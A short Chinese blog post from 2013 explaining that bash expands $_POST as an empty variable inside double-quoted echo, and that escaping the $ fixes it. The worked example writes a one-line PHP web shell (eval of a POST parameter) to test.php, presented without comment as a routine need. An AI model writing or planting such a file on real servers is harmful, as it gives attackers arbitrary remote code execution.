May202013
Linux 用echo 生成文件注意事项
因特殊需要,需要用linux下的shell生成一个php文件。
如
1 | <?php eval($_POST['iplaylinux']); ?> |
于是直接用
1 | echo "<?php eval($_POST['iplaylinux']); ?>" > test.php |
结果发现$_POST总是被过滤掉变成
1 | <?php eval(['iplaylinux']); ?> |
因为命令是从php执行的命令,没太注意,以为是服务器做的过滤。几经折腾才想起原因。
原来在Linux bash下,$开头也会被认为变量,而如果系统中没有这个变量。
则相当于取了一个变量。并且该变量默认是空值。
于是乎,生成的文件就相当于是被过滤掉了变量了。
找到原因了就好办了。
加一个转义字符\就解决了。
1 | echo "<?php eval(\$_POST['iplaylinux']); ?>" > test.php |
本文固定链接: https://iplaylinux.com/linux-echo-to-file.html | Linux玩家
特殊字符转换,程序员应有的意识
2013-06-23 上午 10:39